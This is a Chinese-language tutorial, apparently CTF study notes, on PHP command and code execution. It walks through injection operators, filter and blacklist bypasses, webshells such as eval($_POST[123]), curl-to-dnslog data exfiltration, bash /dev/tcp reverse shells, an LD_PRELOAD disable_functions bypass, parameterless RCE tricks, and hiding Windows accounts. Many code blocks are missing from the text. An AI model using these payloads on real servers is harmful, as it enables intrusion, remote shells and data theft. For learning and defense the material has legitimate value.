啥是RCE? php的代码执行简称 php的命令执行利用php的命令执行,我们默认讨论的是服务器操作系统为Linux下的情况 php的Command Exec函数在php中,官方有下面6种函数可以执行系统命令 system(whoami); 引号加不加都行,默认是command类型参数. 完全同system() 默认没有回显,需要手动加上echo.而且只会回显出一行结果,因此常用第二个数组参数接收多行结果. payload:$arr=[]; echo exec(ipconfig,$arr); var_dump($arr); 默认没有回显,需要手动加上echo,可以输出多行结果.
popen():打开一个指向进程的管道,该进程由派生给定的command命令执行而产生. payload:$fp=popen(whoami,'r'); while(!feof($fp)){$content.=fgetss($fp);} echo $content; #void pcntl_exec ( string $path [, array $args [, array $envs ]] ) #path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本 #args是一个要传递给程序的参数的字符串数组。#pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0 <?php pcntl_exec ( '/bin/bash' , array('whoami')); ?> proc_open():执行一个命令,并打开一个io文件指针.类似popen(),但更复杂. 这些函数的共同特征就是可以执行系统命令,只是返回值、参数个数、参数位置不同而已。 这里说的系统命令,和php所在的服务器的操作系统密切相关 在Windows服务器上,我们可以执行Windows的系统命令或者程序名称,列如calc、bat、vbs等等 在Linux/Unix服务器上,我们可以执行Linux的系统命令,列如cat cp nc等等 比如
ping -c 1 wwww.baidu.com 在命令执行有下面几种可能:
我们遇到命令执行,需要首先判断可控的位置,然后针对性的绕过 参数值可控我们从一个例子看起 <?php 代码很简单,就是列目录,我们需要传入一个参数dir,如果没有传入,则默认执行无参命今ls我们现在需要注入进去我们自己的其他命令我们只需要传入 && 就可以实现两个命令并列执行,前面命令执行完毕后会执行后面的命令 相当于 命令A&&命令B
命令可控我们再看一个例子
这次的代码变成了 1 system($cmd.”>/dev/nul1 2>&1'); 后面这个写法小白可能没见过,我在这说明一下 在linux中,所有的设备都有文件描述,那么有一类特殊的设备,也有文件描述,那就是空的设备文件描述为/dev/null而>表示将输出写入到这个空设备中,也就是不回显任何数据后面的2>&1 则是表示把标准的错误输出附加到标准输出上,合起来,就是标准输出和错误输出都不回显 这时候,我们如果使用前面的 && 来使命令一分为二,后面的命令会导致我们在前面执行的命令不回显。 这个时候可以使用shell中的分号,来拆分命令,表示前后两条命令。两者的区别在于&&需要前面命令执行成功后,后面的命令才会执行,分号则不管成功与否,两个命令作为两行命令执行 整体可控1.黑名单过滤替换过滤的情况 这个属于直男型过滤,认为我只要把关键字替换为空,那么就安全了绕过也很简单,双写绕过即可,比如替换了cat字符串为空,所以可以直接提交 利用条件也是仅仅替换为空,如果替换为其他字符,大概率就走不通了,比如替换为ABCccatat营换后为CABCat,命令明显会执行错误。 过滤特定字符串(例如flag)的情况: 当我们要读取flag时,遇到过滤了关键字时,我们可以使用通配符绕过,通配符我们只需要掌握两个符号,分别是
比如批量移动文件 可以使用命令
上面命令会把当前目录所有后缀为txt的文件移动到当前目录下的tmp目录 如果有成百上千的txt文件,使用通配符,可以一条命令就完成,而不用这样 mv 1.txt ./tmp
如果我们有很多类似这样的文件,比如 a1c.txt a3c.txt a8c.txt a8aac.txt 这样的文件,我们就可以使用?来精准匹配 mv a*c.txt ./tmp 参考例题
这里我们看到有了3个我们没有见过的函数,分别是 error_reporting(0); 我们可以打开自己的php手册,查询下函数意义 我们重点看看这个if判断,里面是一个正则表达式的判断,如果输入的参数里面不包含大小写的 中的函数这样就起到了参数过滤的作用,这里我们虽然不能便用flag这个单词,但是我们可以使用通配符 过滤cat、more等文件读取命令的情况: 在linux中,有很多的命令或者程序可以读取文件,如果自己熟悉的命令被ban掉了,那么最好的办法就是打开自己的本地linux环境,找找那些不熟悉的命令,或许就有可以读取文件的其他方式了。 最常见的方式就是用别的命令替换,比如过滤了cat用tac命令读取,甚至nl more od 等等其他命令也可以读取,这里列一下linux读取文件的命令
tac:反向显示 tac flag.php more:一页一页的显示档案内容 more flag.php,如果无回显,可先在网页源代码中查看 less:与more类似 less flag.php tail:查看末尾几行 tail flag.php nl:显示的时候,随便输出行号 nl flag.php od:以二进制的方式读取文档内容 od flag.php xxd:读取二进制文件 xxd flag.php sort:主要用于排序文件 sort flag.php uniq:报告或删除文件中重复的行 uniq flag.php grep :在文本中查找指定的字符串 grep flag flag.php file-f: 报错出具体内容 file -f flag.php 我们这里不用上面的思路,我们假设所有读取文件的命令或者程序都被ban了,所以我们还可以使用另一 种组合执行的方法 那就是我们在shell语法中,有反引号表示执行的意思,比如我们可以这样执行
所以,这里我们可以这样构造 `echo bHMK 1 base64 -d` `echo L2Jpbgo= | base64 -d` 那么对于过滤了文件读取函数的题目,我们可以这样通杀
但是题目中,又将回显输出到了空设备,所以我们需要把命令后面拆分或者断开,虽然我们不能使用并列执行的 我们依然可以使用 || ||就是只要前面的条件达成了,后面的就不用执行, 参考例题 <?php 变量拼接绕过关键字但是上面的题目,也有一个条件,那么就是如果过滤了echo 或者base64,我们就不能便用了这时候,我们可以使用变量拼接法来绕过黑名单 在shell中,是可以定义变量的
这里定义了 2.符号过滤过滤空格的情况: 前面我们用到的命令,都没有过滤空格,如果一旦不让用空格,那是不是就全部都失效了呢?那么在shell语法中,有没有代替空格的命令?比如我们要执行命令 那么不用空格的姿势有 1.读文件时,使用<>代替空格
2.使用
3,控制字符代替空格
4.字符串截取空格 先看控制字符代替空格 哪些控制字符可以代替空格呢? 我们看一个题目 <?php 可以使用burp爆破%00-%128来确认那些可以代替空格QWQ 再看字符串截取空格 要使用字符串截取,那么我们需要两个条件,一个是有字符串,另一个是可以截取 在shell中,可以使用变量
使用冒号来截取变量的字符 caigo=aabbcc 如果只要输出一个字符c,我们可以
有了这个理论基础,我们就可以在系统中找已经定义号的变量。然后截取里面的字符串即可 这里看一个例题,要求构造空格绕过限制 <?php 使用env命令查看系统环境变量 我们使用PHP_EXTRA_CONFIGURE_ARGS这个环境变量 第13位是空格,构造poc
无字母数字命令执行这里的异或,指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一 取反也是php中的一种运算符,取反的好处就是,它每一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。 方法一 首先,我们想要构造的依然是assert($_POST[_])这条语句,和上面一样,我们先用php的取反符号~将字符串assert和_POST取反,这里需要注意的是,由于它取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可。 方法二 是我看p神博客才了解到的方法,就是说利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,然后再进行一次取反操作,就能得到一个我们想要的字符,这里的原理我确实是不知道,因为这里好像是涉及到计组知识而我现在还没学,害,现在就只有先学会怎么用,原理后面再补了。 在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而不是C语言的。在C语言中,它递增的是ASCII值,a = 'Z'; a++;将把 a变成 '['('Z'的 ASCII 值是 90,'['的 ASCII 值是 91),而在Perl中, $a = 'Z'; $a++;将把 $a变成'AA'。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增或递减其他字符变量则无效,原字符串没有变化。 也就是说,只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了 正好,数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了a和A,相当于我们就可以拿到a-z和A-Z中的所有字母了 例题 <?php 我们直接使用异或脚本构造poc
其他的可自行去尝试 无回显情况下的命令执行这里我们用到shell_exec函数,这个函数和system相比,无回显 1.使用>写入文件查看把执行结果写入到一个文件中 例题 <?php
可以看到执行结果就保存到1.txt中了 2.dnslog外带数据例题 <?php 这道题没有写文件的权限,我们利用dnslog将数据带出来 先获取一个域名,然后使用我们的ping命令请求一次,在域名前加上我们的私货
刷新我们申请域名的访问记录,发现命令执行结果被带出来了 但是dnslog有个问题,他带出的数据很少,并且不能换行,所以,我们要所以sed来控制他读哪一行 /?cmd=a=`sed%20-n%20'3,4p'%20fla?.php`;curl%20${a:0:10}.a917bq.dnslog.cn ${a:0:10}的意思是返回结果的第0位到10位 小知识 dnslog带外的时候在poc没问题的情况下,没发数据包可能是读取的文件中存在url解析不了的字符,所导致数据发不出去,所以base64编码后即可。
这个字符就比较多了,建议一开始10,20位的拿边拿编解码,到后面4,8位的拿 3.requestrepo平台使用例题 <?php 可以看到他这里把dnslog禁用了,这里推荐另一个非常好用的平台 可以看到他给我们生成好了一个域名,复制它,构造poc
发送后发现我们多了很多请求 把回显进行base64解码即可得到数据 4.反弹shell信道例题 <?php 可以看到,题目把dnslog和request都禁用了,我们直接使用shell反弹即可
命令执行中还有个执行长度限制的知识点,我在前面的RCE奇技淫巧中有提到,这里就不做描述了 php代码执行利用php的Code Exec函数eval:将一个字符串作为php代码执行 paylaod:eval($_POST[123]); 注意:eval是一个语言构造器,不是函数,所以不能当可变函数. assert():执行一个有返回值的php表达式
assert()是一个函数,可以使用可变函数调用. 注意:php7.2后,assert也同eval,是语言构造器而不是函数. call_user_func():把第一个参数作为回调函数使用,其余参数是回调函数参数. payload:call_user_func('assert','eval($_POST[123])'); call_user_func_array():把第一个参数作为回调函数使用,第二个数组类型参数作为回调函数参数.
array_map():为数组的每一个元素应用回调函数.第一个参数是回调函数,第二个参数是数组. payload:array_map('assert',['eval($_POST[123])']); array_filter():使用回调函数过滤数组中的元素.第一个参数是数组,第二个参数是回调函数.
array_reduce():用回调函数迭代的将数组化为单一的值.第一个参数是数组,第二个参数是回调函数. payload:array_reduce([1,2],'assert','phpinfo()'); create_function():创建一个匿名函数,第一个参数为函数参数,第二个参数为函数代码块内容,返回值为函数名.
注意:该函数在php7.2被弃用,在php8.0被移除. usort():使用用户自定义的比较函数对数组中的值排序. payload:$arr=[1,'eval($_POST[123])']; usort($arr,'assert'); preg_replace():基于正则,将匹配到的字符串替换为指定的字符串并返回完整字符串. 正则模式修饰符e:将字符串作为代码执行. perg_replace()模式使用了e模式,此时开启代码执行的模式,要求php版本<=5.6 下面是一个简单的代码执行源码
这里我们可以使用 这样就可以看到整个网站的目录结构,甚至是可以看到除网站外的系统文件(看权限),也可以打开命令行执行命令(看权限) 在win下创建用户时在用户名后加上$符,可以隐藏用户,使用net user命令查看不到 例题 <?php 有时eval中的可控参数是GET请求时,使用蚁剑连不上,可以添加个转接头
这样用新的密码 例题 <?php 这里使用的是call_user_func函数,当我们不清楚函数的用途和用法时可以使用php手册进行查询 大致意思就是第一个参数是调用的函数,第二个参数是函数执行的值,也就是()里的值 call_user_func的第一个参数必须得是函数,像eval、echo在php中属于语言结构,所以不能被调用 php语言结构和函数的区别
看下一道例题 <?php 这里使用的是array_walk_recursive函数,从手册中看函数意思 大致意思是第二个参数是调用的函数,然后把第一个参数的值(注意第一个值得是数组类型)作为参数,提交个第二个参数(也就是函数)执行 黑名单绕过变量拼接绕过关键字在代码执行中我们同样可以使用变量拼接对关键字进行一个绕过 来看例题
php中的特殊标签1. <?php echo 'if you want to serve XHTML or XML documents, do it like this'; ?> 上例中的 1 和 2 中使用的标记总是可用的,其中示例 1 中是最常用,并建议使用的。 短标记(上例 3)仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用,或者在 PHP 编译时加入了 --enable-short-tags 选项。 ASP 风格标记(上例 4)仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用。 例题
代码中我们可以看出他过滤了 长度限制绕过看代码 <?php 从代码中我们可以看到他对我们传入值的长度做了限制,只能上传13个字符 <?php $_GET[x]?>这是我们正常的poc,可是长度明显不符,我们对poc进行压缩
然后加上 <?`$_GET[x]`;这样我们的poc就构造好了,刚好13个字符,我们测试一下 执行
发现网站确实延时3秒 但是因为没有=,执行内容不会回显,我们可以用 http://.xxx/?1=<?`$_GET[x]`;&x=ls > 1.txt 这样的前提是网站有写入权限,没有的情况可以使用nc反弹 准备一台公网服务器,利用nc监听本地端口
nc反弹回来就可以执行系统命令了 注意这里是因为靶场环境有nc,如果靶场没有的话可以使用其他命令反弹shell,列如 bash -i >& /dev/tcp/ip/port 0>&1 ip与port改为attacker端的ip与开启监听的端口 exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do 2>&5 >&5; done exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0 还有很多就不一一举例了,可以在这个网站在线生成https://forum./shell.php disable_functions禁用disable_functions是php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。 例题 <?php 源码上没有啥限制,我们直接蚁剑连接,可以在phpinfo()中看到禁用了哪些函数 可以看到以及执行不了系统命令了 1.LD_PRELOAD绕过绕过条件: 1、能上传自己的.so文件; 2、能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数并且未被禁止; 3、存在可以控制php启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和eror_log()等。 创建一个.c文件
将.c文件编译成.so文件 sudo gcc -shared -fPIC .c -o .so 再创建一个.php文件
把两个文件上传到网站根目录,然后访问.php文件即可执行命令 2.使用蚁剑的disable_functions绕过插件绕过这个就比较简单了 运行完成功会在网站目录下生成一个.antproxy.php文件,重新用蚁剑连接 http://.xxx/.antproxy.php?1=assert($_POST[x]); 连上后就能执行命令了 这个插件还有很多种模式,做题环境下可以多试几次,实战就可能会泄露攻击信息 无参数代码执行我们先来看一段代码段
代码的关键在if语句中,大致意思是匹配我们传入的参数,匹配到字母、数字、下划线[A-Z/a-z/0=9_]会替换为空,但是只会匹配'a()'形式的字符串,括号中不能有参数。 能执行: 不能执行: 我们接下来介绍绕后方法 HTTP请求标头函数:getallheaders() 函数解释:获取当前请求的所有请求头信息以倒序返回 他返回的是一个数组,我们可以搭配end和pos函数,获取单独的内容 函数解释: end():将 array 的内部指针移动到最后一个单元并返回其值。 pos():与end相反返回第一个值 那我们这个时候已经可以获取到内容了,数据包的内容是可有使用bp修改的,我们直接把他修改成我们要执行的命令,在使用eval()函数执行不就行了吗 类似功能的还有apache_request_headers()函数,适用于apache服务器 全局变量RCE函数:get_definde_vars() 函数解释:返回所有已定义变量的值,所成的数组 我们打印一下函数的执行结果 在源代码中看更清楚 可以看到它把我们传入的参数以数组的方式返回给我们(因为这里我只在get方法传了值,所以其他为空),我们可以多传一个参数 可以看到尽管它代码中没有接收a参数,它也会给我们以数组的方式返回,那我们就可以使用end和pos函数执行我们想要的命令了。 先用pos指定第一个数组的内容也就是 再使用end指定最后一个内容,使用eval执行 session RCE函数:session_start() 函数解释:启动新会话或者重用现有会话,成功开始会话返回true,反之返回false 我们环境正常是没有session的 我们加上session_start()就会启动session会话 我们可以在数据包中构造我们想要的session值 然后使用print_r打印返回内容,返回1代表开启,0代表未开启 我们可以使用session_id返回具体的session内容 我们可以使用show_source()函数读取文件内容 也可以使用eval等函数代码执行,但是要注意直接在session中传入php代码比如说system('dir');它存在符号会导致服务器无法解析,无法执行命令 需要先将session内容进行hex编码在使用hex2bin进行解码执行。 scandir文件读取这个知识点中使用到的函数有点多,我这里列张表
我们先来了解scandir函数的使用,不细讲 我们往这个函数内容传入 当题目过滤时我们无法传入参数,所以我们需要构造 我们可以使用localeconv()函数构造点。 可以看到它返回的数组中的第一个就是.我们再使用pos()函数获取 这样我们就构造好了点,就可以使用scandir函数列出当前目录下的文件 如果flag文件在第一个或者最后一个直接使用end或pos单独获取就行了,如果不是就需要使用array_flip()函数把数组中的建和值进行替换,再使用array_rand()函数随机获取,再使用show_source进行读取 如果要读取上级目录的文件就需要使用getcwd()返回当前目录,再使用dirname()函数返回上级目录,再使用chdir固定目录,再使用dirname它会生成一个点,然后使用scandir()获取上级目录文件,接下来就和前面一样了。 如果flag文件在根目录就需要构造 我们先使用serialize序列化一个array对象 在使用crypt()函数对它进行单向字符串散列加密,随机生成的字符串末尾就可能出现 再使用strrev()使字符串倒序 这时候我们要把第一个字符提取出来,需要使用到ord()函数,它会对字符串中的第一个字符进行转码,然后我们再使用chr()进行解码,这样就可以获取到 这样就构造出来了,再使用scandir读取根目录文件 接下来就和前面一样了,由于有两个随机点,可以将数据包放到burp中使用爆破模块跑 学无止境,共勉 |
|